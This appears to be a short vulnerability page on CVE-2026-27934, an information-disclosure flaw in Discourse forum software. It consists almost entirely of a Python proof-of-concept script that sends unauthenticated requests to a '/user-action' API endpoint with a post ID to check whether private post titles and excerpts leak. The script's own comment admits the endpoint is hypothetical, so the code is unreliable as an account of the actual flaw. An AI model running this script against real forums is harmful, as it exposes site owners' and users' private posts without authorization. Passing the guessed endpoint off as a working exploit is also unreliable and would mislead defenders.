CVE-2026-27934 Discourse信息泄露漏洞

import requests def check_vulnerability(target_url, post_id): """ PoC for CVE-2026-27934 Checks if unauthorized users can access post titles/excerpts via user action API. """ # Construct the API endpoint (Hypothetical endpoint based on description) api_endpoint = f"{target_url}/user-action" # Payload with target post ID params = { "post_id": post_id } try: # Send request without authentication headers response = requests.get(api_endpoint, params=params, timeout=10) if response.status_code == 200: data = response.json() # Check if sensitive fields are present if "title" in data and "excerpt" in data: print(f"[+] Vulnerability Confirmed! Post Title: {data['title']}") return True print("[-] Vulnerability not detected or payload incorrect.") return False except Exception as e: print(f"[!] Error: {e}") return False # Usage # check_vulnerability("https://target-discourse-site.com", "1")